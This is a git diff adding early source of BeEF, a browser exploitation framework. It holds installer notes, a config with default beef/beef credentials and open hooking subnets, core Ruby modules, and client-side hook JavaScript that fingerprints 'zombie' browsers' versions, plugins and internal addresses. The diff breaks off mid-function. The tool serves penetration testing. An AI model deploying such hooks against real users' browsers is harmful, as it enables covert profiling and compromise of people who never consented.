diff --git a/INSTALL b/INSTALL new file mode 100644 index 000000000..7d1648a26 --- /dev/null +++ b/INSTALL @@ -0,0 +1,54 @@ +Most of the contents of this file will eventually be added to /install.rb. In the meantime tips, hints and guides for installing beef should be kept here. + +============================================= + + 1. Prerequisites (platform independent) + 2. Prerequisites (Windows) + 3. Prerequisites (Linux) + 4. Prerequisites (Mac OSX) + 5. Install instructions + + + + 1. Prerequisites (platform independent) + + Beef requires ruby 1.8 + + + 2. Prerequisites (Windows) + + Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory: + + http://www.sqlite.org/sqlitedll-3_7_0_1.zip + + + 3. Prerequisites (Linux) + + !!! This must be done PRIOR to running the Beef installer !!! + + On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is: + + sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc + + + You also need to install the ruby-dev package (required for mkmf) + + sudo apt-get install ruby-dev + + + 4. Prerequisites (Mac OSX) + + Make sure you have XCode installed - which provided the sqlite support Beef needs + + + 5. Install instructions + + Obtain application code either by downloading an archive from http://code.google.com/p/beef/downloads/list or checking out the source from http://code.google.com/p/beef/source/checkout + + Navigate to the ruby source directory and run: + + ruby install + + The installer verifies required gems, including any specific version dependencies + + The installer offers a choice of auto-installing missing gems or provides the command so you can install gems manually diff --git a/VERSION b/VERSION new file mode 100644 index 000000000..ecb9a36fd --- /dev/null +++ b/VERSION @@ -0,0 +1 @@ +0.4.2.4-alpha diff --git a/beef b/beef new file mode 100755 index 000000000..c47c359b9 --- /dev/null +++ b/beef @@ -0,0 +1,58 @@ +#!/usr/bin/env ruby +$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.')) + +$root_dir = File.expand_path('..', __FILE__) + +require 'core/loader' + +#prints welcome message +BeEF::Extension::Console::Banners.print_welcome_msg + +# load config +config = BeEF::Core::Configuration.instance + +# disable reverse dns +Socket.do_not_reverse_lookup = true + +# setup database +case config.get("beef.default_db") + when "sqlite" + DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.sqlite.db_name")}") + when "mysql" + DataMapper.setup(:default, "mysql://#{config.get("beef.database.mysql.db_user")}:#{config.get("beef.database.mysql.db_passwd")}@#{config.get("beef.database.mysql.db_host")}/#{config.get("beef.database.mysql.db_name")}") + else + print_error 'No default database selected. Please add one in config.yaml' +end + + +BeEF::Extension::Console::Banners.print_network_interfaces_count + +if BeEF::Extension::Console.resetdb? + print_info 'Resetting the database for BeEF.' + DataMapper.auto_migrate! +else + DataMapper.auto_upgrade! +end + +# if metasploit is unreachable it can take 10/15 seconds to load +print_info 'BeEF is loading. Wait a few seconds...' + +# check for new command modules +BeEF::Core::Migration.instance.update_db! + +# prepare the web server to run +http_hook_server = BeEF::Core::Server.instance +http_hook_server.prepare + + + +# prints information back to the user before running the server +BeEF::Extension::Console::Banners.print_loaded_extensions +BeEF::Extension::Console::Banners.print_loaded_modules +BeEF::Extension::Console::Banners.print_network_interfaces_routes + +# We dynamically get the list of all browser hook handler using the API and register them +BeEF::API.fire(BeEF::API::Server::Handler, :pre_http_start, http_hook_server) + +# starts the web server +http_hook_server.start diff --git a/config.yaml b/config.yaml new file mode 100644 index 000000000..0ca2cf951 --- /dev/null +++ b/config.yaml @@ -0,0 +1,57 @@ +# BeEF Configuration file +beef: + version: '0.4.2.5-alpha' + debug: false + + #supported DBs: sqlite, MySQL + default_db: "sqlite" + + restrictions: + # subnet of browser ip addresses that can hook to the framework + permitted_hooking_subnet: "0.0.0.0/0" + # subnet of browser ip addresses that can connect to the UI + # permitted_ui_subnet = "127.0.0.1/32" + permitted_ui_subnet: "0.0.0.0/0" + + http: + host: "0.0.0.0" + port: "3000" + # if running behind a nat set the public ip address here + #public: "" + dns: "localhost" + demo_path: "/demos/basic.html" + panel_path: "/ui/panel" + hook_file: "/hook.js" + hook_session_name: "BEEFHOOK" + session_cookie_name: "BEEFSESSION" + + ui: + username: "beef" + password: "beef" + favicon_file_name: "favicon.ico" + favicon_dir: "/images" + login_fail_delay: 1 + + database: + # please note that the db should exists. Schema will be created automatically. + # mysql> create database beef; + # mysql> grant all privileges on beef.* to 'beef'@'localhost' identified by 'beef123'; + mysql: + db_host: "localhost" + db_name: "beef" + db_user: "beef" + db_passwd: "beef123" + + sqlite: + db_name: "beef.db" + + crypto_default_value_length: 80 + + # You may override default extension configuration parameters here + extension: + requester: + enable: true + proxy: + enable: true + msf: + enable: false diff --git a/core/api.rb b/core/api.rb new file mode 100644 index 000000000..5f371439f --- /dev/null +++ b/core/api.rb @@ -0,0 +1,30 @@ +=begin + + + +=end +module BeEF +module API + + # + # Calls a API fire against a certain class / module (c) method (m) with n parameters (*args) + # + def self.fire(c, m, *args) + c.extended_in_modules.each do |mod| + begin + mod.send m.to_sym, *args + rescue Exception => e + puts e.message + puts e.backtrace + end + end + end + +end +end + +require 'core/api/command' +require 'core/api/extension' +require 'core/api/migration' +require 'core/api/server/handler' +require 'core/api/server/hook' diff --git a/core/api/command.rb b/core/api/command.rb new file mode 100644 index 000000000..c99e43bbc --- /dev/null +++ b/core/api/command.rb @@ -0,0 +1,30 @@ +module BeEF +module API + # + # Use this API call if you want to add new methods and variables to the default + # BeEF::Core::Command module. + # + # Here's an example: + # + # module A + # extend BeEF::API::Command + # + # def hello + # p 'hi there' + # end + # end + # + # b = BeEF::Core::Command.new + # b.hello # => 'hi there' + # + # c = BeEF::Core::Command::Detect_details.new + # c.hello # => 'hi there' + # + # + # For a real life example, have a look at BeEF::Extension::AdminUI::API::Command + # + module Command + end + +end +end diff --git a/core/api/extension.rb b/core/api/extension.rb new file mode 100644 index 000000000..9cebfa3c7 --- /dev/null +++ b/core/api/extension.rb @@ -0,0 +1,24 @@ +module BeEF +module API + # + # All modules that extend this API module will be considered as extensions to the + # core of BeEF. + # + # Examples: + # + # module A + # extend BeEF::API::Extension + # end + # + module Extension + + attr_reader :full_name, :short_name, :description + + @full_name = '' + @short_name = '' + @description = '' + + end + +end +end \ No newline at end of file diff --git a/core/api/migration.rb b/core/api/migration.rb new file mode 100644 index 000000000..239329cdf --- /dev/null +++ b/core/api/migration.rb @@ -0,0 +1,37 @@ +module BeEF +module API + # + # All modules that extend the Migration module will be called during the database + # migration phase of BeEF. + # + # So if you are developing an extension that requires injecting new commands into + # the database. You will want to use that. + # + # See the Metasploit extension for example. + # + # Example: + # + # module A + # extend BeEF::API::Migration + # end + # + # + # BeEF Core then calls all the migration modules like this: + # + # BeEF::API::Migration.extended_in_modules.each do |mod| + # ... + # end + # + module Migration + + # + # This function gets called by the core when migrating new commands into the framework. + # For example, the metasploit examples needs to store the list of exploits into BeEF's + # database. + # + def migrate_commands!; end + + end + +end +end \ No newline at end of file diff --git a/core/api/server/handler.rb b/core/api/server/handler.rb new file mode 100644 index 000000000..fcda9d8b4 --- /dev/null +++ b/core/api/server/handler.rb @@ -0,0 +1,57 @@ +module BeEF +module API +module Server + # + # All modules that extend the Handler API will be called during handler mounting, + # dismounting, managing operations. + # + # You want to use that API if you are developing an extension that requires to create + # a new http handler to receive responses. + # + # Example: + # + # module A + # extend BeEF::API::Server::Handler + # end + # + # + # BeEF Core then calls all the Handler extension modules like this: + # + # BeEF::API::Server::Handler.extended_in_modules.each do |mod| + # ... + # end + # + module Handler + + # + # This method is being called when the BeEF server mounts handlers + # + # See BeEF::Extension::AdminUI::API::Handler as an example. + # + # Example: + # + # module A + # extend BeEF::API::Server::Handler + # + # def mount_handlers(beef_server) + # ... + # end + # end + # + def mount_handlers(beef_server) + # + # Here's an example of how you could use it: + # + # beef_server.mount('/demos/', true, WEBrick::HTTPServlet::FileHandler, "#{$root_dir}/demos/") + # + end + + def pre_http_start(http_hook_server) + + end + + end + +end +end +end diff --git a/core/api/server/hook.rb b/core/api/server/hook.rb new file mode 100644 index 000000000..19ea7ba6e --- /dev/null +++ b/core/api/server/hook.rb @@ -0,0 +1,47 @@ +module BeEF +module API +module Server + # + # All modules that extend the Handler API will be called during handler mounting, + # dismounting, managing operations. + # + # You want to use that API if you are developing an extension that requires to create + # a new http handler to receive responses. + # + # Example: + # + # module A + # extend BeEF::API::Server::Handler + # end + # + # + # BeEF Core then calls all the Handler extension modules like this: + # + # BeEF::API::Server::Handler.extended_in_modules.each do |mod| + # ... + # end + # + module Hook + + # + # This method is being called as the hooked response is being built + # + # Example: + # + # module A + # extend BeEF::API::Server::Hook + # + # def pre_hook_send() + # ... + # end + # end + # + def pre_hook_send(handler) + + end + + end + +end +end +end diff --git a/core/core.rb b/core/core.rb new file mode 100644 index 000000000..bdff31248 --- /dev/null +++ b/core/core.rb @@ -0,0 +1,55 @@ +=begin + + This is the core of the framework. Be very careful when touching anything in there. + + The standard approach is to code extensions as oppose to edit the core. + +=end +module BeEF +module Core + +end +end + +# Include the database models +# MAKE SURE TO KEEP THOSE IN THE FOLLOWING ORDER OTHERWISE DATAMAPPER GOES CRAZY +require 'core/main/models/user' +require 'core/main/models/commandmodule' +require 'core/main/models/hookedbrowser' +require 'core/main/models/log' +require 'core/main/models/command' +require 'core/main/models/result' +require 'core/main/models/dynamiccommandinfo' +require 'core/main/models/dynamicpayloadinfo' +require 'core/main/models/dynamicpayloads' +require 'core/main/models/optioncache' + +# Include the constants +require 'core/main/constants/browsers' +require 'core/main/constants/commandmodule' +require 'core/main/constants/distributedengine' +require 'core/main/constants/os' + +# Include core modules for beef +require 'core/main/configuration' +require 'core/main/command' +require 'core/main/crypto' +require 'core/main/logger' +require 'core/main/migration' + +# Include http server functions for beef +require 'core/main/server' + +require 'core/main/handlers/modules/beefjs' +require 'core/main/handlers/modules/command' + +require 'core/main/handlers/commands' +require 'core/main/handlers/hookedbrowsers' + +# Include the network stack +require 'core/main/network_stack/handlers/dynamicreconstruction' +require 'core/main/network_stack/assethandler' +require 'core/main/network_stack/api' + +# Include the distributed engine +require 'core/main/distributed_engine/models/rules' diff --git a/core/extensions.rb b/core/extensions.rb new file mode 100644 index 000000000..6f642ba71 --- /dev/null +++ b/core/extensions.rb @@ -0,0 +1,17 @@ +module BeEF +module Extension + +end +end + +# Include only enabled extensions +config = BeEF::Core::Configuration.instance +extensions = config.get('beef.extension').select{|key, ext| + ext['enable'] == true +} + +extensions.each{ |k,v| + if File.exists?('extensions/'+k+'/extension.rb') + require 'extensions/'+k+'/extension.rb' + end +} diff --git a/core/filters.rb b/core/filters.rb new file mode 100644 index 000000000..d677c227a --- /dev/null +++ b/core/filters.rb @@ -0,0 +1,12 @@ +module BeEF +module Filters + +end +end + +# Include the filters +require 'core/filters/base' +require 'core/filters/browser' +require 'core/filters/command' +require 'core/filters/page' +require 'core/filters/http' diff --git a/core/filters/base.rb b/core/filters/base.rb new file mode 100644 index 000000000..e49582ae2 --- /dev/null +++ b/core/filters/base.rb @@ -0,0 +1,93 @@ +module BeEF +module Filters + + # check if the string is not empty and not nil + def self.is_non_empty_string?(str) + return false if str.nil? + return false if not str.is_a? String + return false if str.empty? + true + end + + # check if only the characters in 'chars' are in 'str' + def self.only?(chars, str) + regex = Regexp.new('[^' + chars + ']') + regex.match(str).nil? + end + + # check if one or more characters in 'chars' are in 'str' + def self.exists?(chars, str) + regex = Regexp.new(chars) + not regex.match(str).nil? + end + + # check for null char + def self.has_null? (str) + return false if not is_non_empty_string?(str) + exists?('\x00', str) + end + + # check for non-printalbe char + def self.has_non_printable_char?(str) + return false if not is_non_empty_string?(str) + not only?('[:print:]', str) + end + + # check if num chars only + def self.nums_only?(str) + return false if not is_non_empty_string?(str) + only?('0-9', str) + end + + # check if valid float + def self.is_valid_float?(str) + return false if not is_non_empty_string?(str) + return false if not only?('0-9\.', str) + not (str =~ /^[\d]+\.[\d]+$/).nil? + end + + # check if hex chars only + def self.hexs_only?(str) + return false if not is_non_empty_string?(str) + only?('0123456789ABCDEFabcdef', str) + end + + # check if first char is a num + def self.first_char_is_num?(str) + return false if not is_non_empty_string?(str) + not (str =~ /^\d.*/).nil? + end + + # check for space chars: \t\n\r\f + def self.has_whitespace_char?(str) + return false if not is_non_empty_string?(str) + exists?('\s', str) + end + + # check for non word chars: a-zA-Z0-9 + def self.alphanums_only?(str) + return false if not is_non_empty_string?(str) + only?("a-zA-Z0-9", str) + end + + # check if valid ip address string + def self.is_valid_ip?(ip) + return true if ip =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/ + false + end + + # check for valid browser details chars + def self.has_valid_browser_details_chars?(str) + return false if not is_non_empty_string?(str) + not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil? # \302\256 is the (r) character + end + + # check for valid base details chars + # this is for basic flitering where possible all specific filters must be implemented + def self.has_valid_base_chars?(str) + return false if not is_non_empty_string?(str) + (str =~ /[^\302\256[:print:]]/).nil? # \302\256 is the (r) character + end + +end +end \ No newline at end of file diff --git a/core/filters/browser.rb b/core/filters/browser.rb new file mode 100644 index 000000000..06b6c51fa --- /dev/null +++ b/core/filters/browser.rb @@ -0,0 +1,46 @@ +module BeEF +module Filters + + # check the browser type value - for example, 'FF' + def self.is_valid_browsername?(str) + return false if not is_non_empty_string?(str) + return false if str.length > 2 + return false if has_non_printable_char?(str) + true + end + + # check the os name value - for example, 'Windows XP' + def self.is_valid_osname?(str) + return false if not is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length < 2 + true + end + + # verify the browser version string is valid + def self.is_valid_browserversion?(str) + return false if not is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return true if str.eql? "UNKNOWN" + return false if not nums_only?(str) and not is_valid_float?(str) + return false if str.length > 10 + true + end + + # verify the browser/UA string is valid + def self.is_valid_browserstring?(str) + return false if not is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 200 + true + end + + # verify the browser_plugins string is valid + def self.is_valid_browser_plugins?(str) + return false if not is_non_empty_string?(str) + return false if str.length > 400 + return (str =~ /[^\w\d\s()-.,;_!\302\256]/).nil? # \302\256 is the (r) character + end + +end +end diff --git a/core/filters/command.rb b/core/filters/command.rb new file mode 100644 index 000000000..2bfb39981 --- /dev/null +++ b/core/filters/command.rb @@ -0,0 +1,57 @@ +module BeEF +module Filters + + # check if the string is a valid path from a HTTP request + def self.is_valid_path_info?(str) + return false if str.nil? + return false if not str.is_a? String + return false if has_non_printable_char?(str) + true + end + + # check if the command id valid + def self.is_valid_command_id?(str) + return false if not is_non_empty_string?(str) + return false if not nums_only?(str) + true + end + + # check if the session id valid + def self.is_valid_hook_session_id?(str) + return false if not is_non_empty_string?(str) + return false if not has_valid_key_chars?(str) + true + end + + # check if valid command module datastore key + def self.is_valid_command_module_datastore_key?(str) + return false if not is_non_empty_string?(str) + return false if not has_valid_key_chars?(str) + true + end + + # check if valid command module datastore value + def self.is_valid_command_module_datastore_param?(str) + return false if has_null?(str) + return false if not has_valid_base_chars?(str) + true + end + + # check for word and some punc chars + def self.has_valid_key_chars?(str) + return false if not is_non_empty_string?(str) + return false if not has_valid_base_chars?(str) + true + end + + # check for word and underscore chars + def self.has_valid_param_chars?(str) + return false if str.nil? + return false if not str.is_a? String + return false if str.empty? + return false if not (str =~ /[^\w_]/).nil? + true + end + +end +end \ No newline at end of file diff --git a/core/filters/http.rb b/core/filters/http.rb new file mode 100644 index 000000000..fc4c2fb30 --- /dev/null +++ b/core/filters/http.rb @@ -0,0 +1,16 @@ +module BeEF +module Filters + + # verify the hostname string is valid + def self.is_valid_hostname?(str) + return false if not is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 255 + return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil? + return false if not (str =~ /\.\./).nil? + return false if not (str =~ /\-\-/).nil? + true + end + +end +end \ No newline at end of file diff --git a/core/filters/page.rb b/core/filters/page.rb new file mode 100644 index 000000000..6a9e7f51b --- /dev/null +++ b/core/filters/page.rb @@ -0,0 +1,13 @@ +module BeEF +module Filters + + # verify the page title string is valid + def self.is_valid_pagetitle?(str) + return false if not str.is_a? String + return false if has_non_printable_char?(str) + return false if str.length > 50 + true + end + +end +end \ No newline at end of file diff --git a/core/loader.rb b/core/loader.rb new file mode 100644 index 000000000..fffa25e66 --- /dev/null +++ b/core/loader.rb @@ -0,0 +1,41 @@ +# +# Include here all the gems we are using +# +require 'rubygems' +require 'webrick' +require 'webrick/httpproxy' +require 'dm-core' +require 'dm-migrations' +require 'json' +require 'ansi' +require 'optparse' +require 'cgi' +require 'yaml' +require 'singleton' +require 'ipaddr' +require 'base64' +require 'xmlrpc/client' +require 'erubis' +require 'openssl' +require 'term/ansicolor' + +# Include the filters +require 'core/filters' + +# Include our patches for ruby and gems +require 'core/ruby' + +# Include the API +require 'core/api' + +# Include the settings +require 'core/settings' + +# Include the core of BeEF +require 'core/core' + +# Include the extensions +require 'core/extensions' + +# Include the modules +require 'core/modules' diff --git a/core/main/client/beef.js b/core/main/client/beef.js new file mode 100644 index 000000000..c0e2d8ddd --- /dev/null +++ b/core/main/client/beef.js @@ -0,0 +1,47 @@ +/*! + * BeEF JS Library <%= @beef_version %> + * http://beef.googlecode.com/ + */ + +$j = jQuery.noConflict(); + +//<%= @beef_hook_session_name %>='<%= @beef_hook_session_id %>'; + +if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { + + var BeefJS = { + + version: '<%= @beef_version %>', + + // This get set to true during window.onload(). It's a useful hack when messing with document.write(). + pageIsLoaded: false, + + // An array containing functions to be executed by Beef. + commands: new Array(), + + // An array containing all the BeEF JS components. + components: new Array(), + + /** + * Adds a function to execute. + * @param: {Function} the function to execute. + */ + execute: function(fn) { + this.commands.push(fn); + }, + + /** + * Registers a component in BeEF JS. + * @params: {String} the component. + * + * Components are very important to register so the framework does not + * send them back over and over again. + */ + regCmp: function(component) { + this.components.push(component); + } + + }; + + window.beef = BeefJS; +} diff --git a/core/main/client/browser.js b/core/main/client/browser.js new file mode 100644 index 000000000..68cefcc1d --- /dev/null +++ b/core/main/client/browser.js @@ -0,0 +1,688 @@ +/** + * @literal object: beef.browser + * + * Basic browser functions. + */ +beef.browser = { + + /** + * Returns the user agent that the browser is claiming to be. + * @example: beef.browser.getBrowserReportedName() + */ + getBrowserReportedName: function() { + return navigator.userAgent; + }, + + /** + * Returns true if IE6. + * @example: beef.browser.isIE6() + */ + isIE6: function() { + return !window.XMLHttpRequest && !window.globalStorage; + }, + + /** + * Returns true if IE7. + * @example: beef.browser.isIE7() + */ + isIE7: function() { + return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage; + }, + + /** + * Returns true if IE8. + * @example: beef.browser.isIE8() + */ + isIE8: function() { + $j("body").append(''); + return ($j('#beefiecheck').hasClass('ie8'))?true:false; + }, + + /** + * Returns true if IE9. + * @example: beef.browser.isIE9() + */ + isIE9: function() { + $j("body").append(''); + return ($j('#beefiecheck').hasClass('ie9'))?true:false; + }, + + /** + * Returns true if IE. + * @example: beef.browser.isIE() + */ + isIE: function() { + return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9(); + }, + + /** + * Returns true if FF2. + * @example: beef.browser.isFF2() + */ + isFF2: function() { + return !!window.globalStorage && !window.postMessage; + }, + + /** + * Returns true if FF3. + * @example: beef.browser.isFF3() + */ + isFF3: function() { + return !!window.globalStorage && !!window.postMessage && !JSON.parse; + }, + + /** + * Returns true if FF35. + * @example: beef.browser.isFF35() + */ + isFF35: function() { + return !!window.globalStorage && !!JSON.parse && !window.FileReader; + }, + + /** + * Returns true if FF36. + * @example: beef.browser.isFF36() + */ + isFF36: function() { + return !!window.globalStorage && !!window.FileReader && !window.multitouchData; + }, + + /** + * Returns true if FF4. + * @example: beef.browser.isFF4() + */ + isFF4: function() { + return !!window.globalStorage && !!window.history.replaceState; + }, + + /** + * Returns true if FF. + * @example: beef.browser.isFF() + */ + isFF: function() { + return this.isFF2() || this.isFF3() || this.isFF35() || this.isFF36() || this.isFF4(); + }, + + /** + * Returns true if Safari. + * @example: beef.browser.isS() + */ + isS: function() { + return !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome; + }, + + /** + * Returns true if Chrome 5. + * @example: beef.browser.isC5() + */ + isC5: function() { + return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==5)?true:false); + }, + + /** + * Returns true if Chrome 6. + * @example: beef.browser.isC6() + */ + isC6: function() { + return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==6)?true:false); + }, + + /** + * Returns true if Chrome 7. + * @example: beef.browser.isC7() + */ + isC7: function() { + return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==7)?true:false); + }, + + /** + * Returns true if Chrome 8. + * @example: beef.browser.isC8() + */ + isC8: function() { + return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==8)?true:false); + }, + + /** + * Returns true if Chrome 9. + * @example: beef.browser.isC9() + */ + isC9: function() { + return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==9)?true:false); + }, + + /** + * Returns true if Chrome 10. + * @example: beef.browser.isC10() + */ + isC10: function() { + return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==10)?true:false); + }, + + /** + * Returns true if Chrome. + * @example: beef.browser.isC() + */ + isC: function() { + return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10(); + }, + + /** + * Returns true if Opera 9.50 trough 9.52. + * @example: beef.browser.isO952() + */ + isO952: function() { + return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null)); + }, + + /** + * Returns true if Opera 9.60 trough 9.64. + * @example: beef.browser.isO960() + */ + isO960: function() { + return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null)); + }, + + /** + * Returns true if Opera 10.xx. + * @example: beef.browser.isO10() + */ + isO10: function() { + return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null)); + }, + + /** + * Returns true if Opera 11.xx. + * @example: beef.browser.isO11() + */ + isO11: function() { + return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null)); + }, + + /** + * Returns true if Opera. + * @example: beef.browser.isO() + */ + isO: function() { + return this.isO952() || this.isO960() || this.isO10() || this.isO11(); + }, + + /** + * Returns the type of browser being used. + * @example: beef.browser.type().IE6 + * @example: beef.browser.type().FF + * @example: beef.browser.type().O + */ + type: function() { + + return { + C5: this.isC5(), // Chrome 5 + C6: this.isC6(), // Chrome 6 + C7: this.isC7(), // Chrome 7 + C8: this.isC8(), // Chrome 8 + C9: this.isC9(), // Chrome 9 + C10: this.isC10(), // Chrome 10 + C: this.isC(), // Chrome any version + FF2: this.isFF2(), // Firefox 2 + FF3: this.isFF3(), // Firefox 3 + FF35: this.isFF35(), // Firefox 3.5 + FF36: this.isFF36(), // Firefox 3.6 + FF4: this.isFF4(), // Firefox 4 + FF: this.isFF(), // Firefox any version + IE6: this.isIE6(), // Internet Explorer 6 + IE9: this.isIE9(), // Internet Explorer 9 + IE8: this.isIE8(), // Internet Explorer 8 + IE7: this.isIE7(), // Internet Explorer 7 + IE: this.isIE(), // Internet Explorer any version + O952: this.isO952(), // Opera 9.50 trough 9.52 + O960: this.isO960(), // Opera 9.60 trough 9.64 + O10: this.isO10(), // Opera 10.xx + O11: this.isO11(), // Opera 11.xx + O: this.isO(), // Opera any version + S: this.isS() // Safari any version + } + }, + + /** + * Returns the type of browser being used. + * @return: {String} User agent software and version. + * + * @example: beef.browser.getBrowserVersion() + */ + getBrowserVersion: function() { + + if (this.isC5()) { return '5' }; // Chrome 5 + if (this.isC6()) { return '6' }; // Chrome 6 + if (this.isC7()) { return '7' }; // Chrome 7 + if (this.isC8()) { return '8' }; // Chrome 8 + if (this.isC9()) { return '9' }; // Chrome 9 + if (this.isC10()) { return '10' }; // Chrome 10 + if (this.isFF2()) { return '2' }; // Firefox 2 + if (this.isFF3()) { return '3' }; // Firefox 3 + if (this.isFF35()) { return '3.5' }; // Firefox 3.5 + if (this.isFF36()) { return '3.6' }; // Firefox 3.6 + if (this.isFF4()) { return '4' }; // Firefox 4 + if (this.isIE6()) { return '6' }; // Internet Explorer 6 + if (this.isIE9()) { return '9' }; // Internet Explorer 9 + if (this.isIE8()) { return '8' }; // Internet Explorer 8 + if (this.isIE7()) { return '7' }; // Internet Explorer 7 + if (this.isO952()) { return '9.5' }; // Opera 9.5x + if (this.isO960()) { return '9.6' }; // Opera 9.6 + if (this.isO10()) { return '10' }; // Opera 10.xx + if (this.isO11()) { return '11' }; // Opera 11.xx + return 'UNKNOWN'; // Unknown UA + }, + + /** + * Returns the type of user agent by hooked browser. + * @return: {String} User agent software. + * + * @example: beef.browser.getBrowserName() + */ + getBrowserName: function() { + + if (this.isC()) { return 'C' }; // Chrome any version + if (this.isFF()) { return 'FF' }; // Firefox any version + if (this.isIE()) { return 'IE' }; // Internet Explorer any version + if (this.isO()) { return 'O' }; // Opera any version + if (this.isS()) { return 'S' }; // Safari any version + return 'UN'; // Unknown UA + }, + + /** + * Checks if the zombie has flash installed and enabled. + * @return: {Boolean} true or false. + * + * @example: if(beef.browser.hasFlash()) { ... } + */ + hasFlash: function() { + if (!this.type().IE) { + return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]); + } else { + flash_versions = 10; + flash_installed = false; + + if (window.ActiveXObject) { + for (x = 2; x <= flash_versions; x++) { + try { + Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');"); + if (Flash) { + flash_installed = true; + } + } + catch(e) { } + } + }; + return flash_installed; + } + }, + + /** + * Checks if the zombie has Java installed and enabled. + * @return: {Boolean} true or false. + * + * @example: if(beef.browser.hasJava()) { ... } + */ + hasJava: function() { + if(!this.type().IE && window.navigator.javaEnabled && window.navigator.javaEnabled()) { + return true; + } + return false; + }, + + /** + * Checks if the zombie has VBScript enabled. + * @return: {Boolean} true or false. + * + * @example: if(beef.browser.hasVBScript()) { ... } + */ + hasVBScript: function() { + if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) { + return true; + } else { + return false; + } + }, + + /** + * Returns the list of plugins installed in the browser. + */ + getPlugins: function() { + var results = ''; + if (this.isIE()) + { + results = this.getPluginsIE(); + } else { + if (navigator.plugins && navigator.plugins.length > 0) + { + var length = navigator.plugins.length; + for (var i=0; i < length; i++) + { + if (i != 0) + results += ', '; + results += navigator.plugins[i].name; + } + } else { + results = 'navigator.plugins is not supported in this browser!'; + } + } + return results; + }, + + /** + * Returns a list of plugins detected by IE. This is a hack because IE doesn't + * support navigator.plugins + */ + getPluginsIE: function() { + var results = ''; + var plugins = {'AdobePDF6':{ + 'control':'PDF.PdfCtrl', + 'return': function(control) { + version = control.getVersions().split(','); + version = version[0].split('='); + return 'Acrobat Reader v'+parseFloat(version[1]); + }}, + 'AdobePDF7':{ + 'control':'AcroPDF.PDF', + 'return': function(control) { + version = control.getVersions().split(','); + version = version[0].split('='); + return 'Acrobat Reader v'+parseFloat(version[1]); + }}, + 'Flash':{ + 'control':'ShockwaveFlash.ShockwaveFlash', + 'return': function(control) { + version = control.getVariable('$version').substring(4); + version = version.split(','); + return 'Flash Player v'+parseFloat(version[0]+'.'+version[1]); + }}, + 'Quicktime':{ + 'control': 'QuickTime.QuickTime', + 'return': function(control) { + return 'QuickTime Player'; + }}, + 'RealPlayer':{ + 'control': 'RealPlayer', + 'return': function(control) { + version = control.getVersionInfo(); + return 'RealPlayer v'+parseFloat(version); + }}, + 'Shockwave':{ + 'control': 'SWCtl.SWCtl', + 'return': function(control) { + version = control.ShockwaveVersion('').split('r'); + return 'Shockwave v'+parseFloat(version[0]); + }}, + 'WindowsMediaPlayer': { + 'control': 'WMPlayer.OCX', + 'return': function(control) { + return 'Windows Media Player v'+parseFloat(control.versionInfo); + }} + }; + if (window.ActiveXObject) { + var j = 0; + for (var i in plugins) + { + var control = null; + var version = null; + try { + control = new ActiveXObject(plugins[i]['control']); + } catch (e) { } + if (control) + { + if (j != 0) + results += ', '; + results += plugins[i]['return'](control); + j++; + } + } + } + return results; + }, + + /** + * Returns zombie screen size and color depth. + */ + getScreenParams: function() { + return { + width: window.screen.width, + height: window.screen.height, + colordepth: window.screen.colorDepth + } + }, + + /** + * Returns zombie browser window size. + * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow + */ + getWindowSize: function() { + var myWidth = 0, myHeight = 0; + if( typeof( window.innerWidth ) == 'number' ) { + // Non-IE + myWidth = window.innerWidth; + myHeight = window.innerHeight; + } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) { + // IE 6+ in 'standards compliant mode' + myWidth = document.documentElement.clientWidth; + myHeight = document.documentElement.clientHeight; + } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) { + // IE 4 compatible + myWidth = document.body.clientWidth; + myHeight = document.body.clientHeight; + } + return { + width: myWidth, + height: myHeight + } + }, + + /** + * Construct hash from browser details. This function is used to grab the browser details during the hooking process + */ + getDetails: function() { + var details = new Array(); + + var browser_name = beef.browser.getBrowserName(); + var browser_version = beef.browser.getBrowserVersion(); + var browser_reported_name = beef.browser.getBrowserReportedName(); + var page_title = document.title; + var hostname = document.location.hostname; + var browser_plugins = beef.browser.getPlugins(); + var os_name = beef.os.getName(); + var internal_ip = beef.net.local.getLocalAddress(); + var internal_hostname = 